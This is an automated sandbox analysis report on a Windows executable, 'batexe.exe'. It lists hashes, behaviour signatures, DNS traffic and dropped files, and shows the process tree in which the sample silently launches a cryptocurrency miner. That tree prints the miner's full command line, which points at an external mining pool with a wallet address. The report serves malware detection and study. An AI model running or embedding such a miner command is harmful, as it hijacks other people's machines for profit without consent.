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Resubmissions

23/02/2024, 13:44 UTC

240223-q15f4sbe2x 7

23/02/2024, 13:12 UTC

240223-qfv2yaha39 7

Analysis

  • max time kernel
    300s
  • max time network
    299s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240221-ja
  • resource tags

    arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
  • submitted
    23/02/2024, 13:12 UTC

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1584
    • C:\Users\Admin\AppData\Local\Temp\5A45.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\5A45.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5A45.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1816
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5D33.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2936
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:4876

Network

  • flag-us
    DNS
    17.160.190.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    17.160.190.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    187.178.17.96.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    187.178.17.96.in-addr.arpa
    IN PTR
    Response
    187.178.17.96.in-addr.arpa
    IN PTR
    a96-17-178-187deploystaticakamaitechnologiescom
  • flag-us
    DNS
    yespower.sea.mine.zpool.ca
    cpuminer-sse2.exe
    Remote address:
    8.8.8.8:53
    Request
    yespower.sea.mine.zpool.ca
    IN A
    Response
    yespower.sea.mine.zpool.ca
    IN A
    198.50.168.213
  • flag-us
    DNS
    9.228.82.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    9.228.82.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    213.168.50.198.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    213.168.50.198.in-addr.arpa
    IN PTR
    Response
    213.168.50.198.in-addr.arpa
    IN PTR
    minezpoolca
  • flag-us
    DNS
    57.169.31.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    57.169.31.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    41.110.16.96.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    41.110.16.96.in-addr.arpa
    IN PTR
    Response
    41.110.16.96.in-addr.arpa
    IN PTR
    a96-16-110-41deploystaticakamaitechnologiescom
  • flag-us
    DNS
    50.23.12.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    50.23.12.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    18.31.95.13.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    18.31.95.13.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    0.205.248.87.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    0.205.248.87.in-addr.arpa
    IN PTR
    Response
    0.205.248.87.in-addr.arpa
    IN PTR
    https-87-248-205-0lgwllnwnet
  • flag-us
    DNS
    194.178.17.96.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    194.178.17.96.in-addr.arpa
    IN PTR
    Response
    194.178.17.96.in-addr.arpa
    IN PTR
    a96-17-178-194deploystaticakamaitechnologiescom
  • flag-us
    DNS
    29.243.111.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    29.243.111.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    190.178.17.96.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    190.178.17.96.in-addr.arpa
    IN PTR
    Response
    190.178.17.96.in-addr.arpa
    IN PTR
    a96-17-178-190deploystaticakamaitechnologiescom
  • 10.127.0.1:12000
    46 B
    40 B
    1
    1
  • 198.50.168.213:6234
    yespower.sea.mine.zpool.ca
    cpuminer-sse2.exe
    8.3kB
    9.6kB
    85
    88
  • 127.0.0.1:50527
    cpuminer-sse2.exe
  • 127.0.0.1:50529
    cpuminer-sse2.exe
  • 20.44.10.122:443
  • 8.8.8.8:53
    17.160.190.20.in-addr.arpa
    dns
    72 B
    158 B
    1
    1

    DNS Request

    17.160.190.20.in-addr.arpa

  • 8.8.8.8:53
    187.178.17.96.in-addr.arpa
    dns
    72 B
    137 B
    1
    1

    DNS Request

    187.178.17.96.in-addr.arpa

  • 8.8.8.8:53
    yespower.sea.mine.zpool.ca
    dns
    cpuminer-sse2.exe
    72 B
    88 B
    1
    1

    DNS Request

    yespower.sea.mine.zpool.ca

    DNS Response

    198.50.168.213

  • 8.8.8.8:53
    9.228.82.20.in-addr.arpa
    dns
    70 B
    156 B
    1
    1

    DNS Request

    9.228.82.20.in-addr.arpa

  • 8.8.8.8:53
    213.168.50.198.in-addr.arpa
    dns
    73 B
    100 B
    1
    1

    DNS Request

    213.168.50.198.in-addr.arpa

  • 8.8.8.8:53
    57.169.31.20.in-addr.arpa
    dns
    71 B
    157 B
    1
    1

    DNS Request

    57.169.31.20.in-addr.arpa

  • 8.8.8.8:53
    41.110.16.96.in-addr.arpa
    dns
    71 B
    135 B
    1
    1

    DNS Request

    41.110.16.96.in-addr.arpa

  • 8.8.8.8:53
    50.23.12.20.in-addr.arpa
    dns
    70 B
    156 B
    1
    1

    DNS Request

    50.23.12.20.in-addr.arpa

  • 8.8.8.8:53
    18.31.95.13.in-addr.arpa
    dns
    70 B
    144 B
    1
    1

    DNS Request

    18.31.95.13.in-addr.arpa

  • 8.8.8.8:53
    0.205.248.87.in-addr.arpa
    dns
    71 B
    116 B
    1
    1

    DNS Request

    0.205.248.87.in-addr.arpa

  • 8.8.8.8:53
    194.178.17.96.in-addr.arpa
    dns
    72 B
    137 B
    1
    1

    DNS Request

    194.178.17.96.in-addr.arpa

  • 8.8.8.8:53
    29.243.111.52.in-addr.arpa
    dns
    72 B
    158 B
    1
    1

    DNS Request

    29.243.111.52.in-addr.arpa

  • 8.8.8.8:53
    190.178.17.96.in-addr.arpa
    dns
    72 B
    137 B
    1
    1

    DNS Request

    190.178.17.96.in-addr.arpa

  • 8.8.8.8:53

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\5A45.tmp\b2e.exe

    Filesize

    13.8MB

    MD5

    9d4c56e9576b45990064135945b365e9

    SHA1

    d56f97e78221a180681c800808723658b4346e92

    SHA256

    ed4fe235c15deacf2c09a4e3c89ae05b21badeaa849d1b80b56bc4ef1e7e9c35

    SHA512

    3acf3a9c9367f9719fd3bb701616ed1451ebebd122b3784ad97deba1c9c945b056a4a651ad53b90b441898f23027087411ae1aa8fa431a0847e1178245c5c891

  • C:\Users\Admin\AppData\Local\Temp\5A45.tmp\b2e.exe

    Filesize

    5.3MB

    MD5

    55f4d1ab3a493fb8888a704a6a3f56a1

    SHA1

    d3510b52f3b9ceaea3605d5df8b5875875491f18

    SHA256

    4b584fb2fb80a4c00d049dfe3233f1d05bb51692adda861d1ec5c45525c9f59d

    SHA512

    0b42c6b338a657bfd923162e7ec4cdb7d9a7f65348b461f6182e8b134443cf8538212b23e790c5238053d78c75441b4a0d3ba063a1a865176a750be654a6b018

  • C:\Users\Admin\AppData\Local\Temp\5A45.tmp\b2e.exe

    Filesize

    4.5MB

    MD5

    861cd6263e484eeb15e87d8050535204

    SHA1

    83dfd13f08f185b06ccaf25941bebbe38f8a4842

    SHA256

    e43d286e67d7d042bd6e74ec6c7707e94d0648e538ba9bc1283c4b9abc73e40d

    SHA512

    022c14121932b8660f327d250caa4d0b24053099dab2c721d7939f14f8906467164246064c00643b3f70285289d368b781d8bed1c27f484c11b458bd168b9c4d

  • C:\Users\Admin\AppData\Local\Temp\5D33.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    1.0MB

    MD5

    8d9e20c13f0fdfa40219f839681ea376

    SHA1

    cdba61dd8fc2714f52458f75ebb513ae9637e4d5

    SHA256

    36ae04e4f6a963077a7cefad341bd1377c13babbf4a4693429b264a9e4bb3acb

    SHA512

    1a27ab5da0688bf60b80f6fde16157d5d17743c4cde734b245236f5b3f370b9adfe78676830ffaf71a7515c3d53b436d13481ba608e73bb3d6ed4b65108ae32f

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    1.3MB

    MD5

    d61d5e12ed95d659634827f54bdfa62b

    SHA1

    f549af187c05e420e3c4e2d4be1bf89f102d176c

    SHA256

    ea6b005c69f38280e94ba0034175f3448ccd53910390f2214d26945cf3a50209

    SHA512

    0ea81cf059b55d09b4aecbdbe070e0d43256ebccad071bd0f3546610264d5511f8ace0c588a4c08343757afb6ed1e99942149523dadbf53504658ccd3b7235c9

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    836KB

    MD5

    aeab40ed9a8e627ea7cefc1f5cf9bf7a

    SHA1

    5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

    SHA256

    218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

    SHA512

    c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    1.2MB

    MD5

    7cf672bee2afba2dcd0c031ff985958e

    SHA1

    6b82a205db080ffdcb4a4470fce85a14413f3217

    SHA256

    c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

    SHA512

    3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    1.6MB

    MD5

    384662d9963da800834bf8ff15409a7d

    SHA1

    c02c5932197d6cd3d9722f2d454138dafddb759f

    SHA256

    485bb4e29e26f1bd9450097b70c9d12d6160dc5505d8cb1a1e0733d84a5d2584

    SHA512

    23d48a79f361cd1b0c1f03ee31839c6e9b489bd890995d66e74ce4232cc264ba799f254baab85b02d8cad9e358547c8fca2731cfff4bbdb627af91002ad99da9

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    1.1MB

    MD5

    930387eed0c094dc5a78627248df2cfc

    SHA1

    376caac0b5c96b7128a59e272fd4a4e0cd8f6edf

    SHA256

    037d2a4bc4afc56fa10257e46540226d2a4b4906aaa8caa5e3bb6250686461ee

    SHA512

    303f0d9f9a880ca0d57334f7d2b222959a67394908560a4c92a2acb3f96cb9208010fe88cd6cf87657bb39f2cbb488be9ebeca977c582938c4f8a713a0f47730

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    793KB

    MD5

    7e541e9d0a634314dba7954381d8f497

    SHA1

    c035195a06d746e42db530f377fca42fa380d972

    SHA256

    6f325b481a2a59188922aa5c9fecf209b0ee5fdb1aa7822b28969b96d739f78f

    SHA512

    22b8c30f78f42c50101fd747fa190a663356285c02d998bf7b9156915bfdd90571389ecea8f4e3fb0eaee301fe0fa30f89f122127b58bab50879baeaab0b2447

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • memory/1584-9-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB

  • memory/1816-53-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/1816-8-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/4876-43-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4876-45-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/4876-44-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/4876-47-0x00000000010C0000-0x0000000002975000-memory.dmp

    Filesize

    24.7MB

  • memory/4876-48-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4876-46-0x000000005B4F0000-0x000000005B588000-memory.dmp

    Filesize

    608KB

  • memory/4876-54-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4876-59-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4876-64-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4876-69-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4876-74-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4876-79-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4876-89-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4876-94-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

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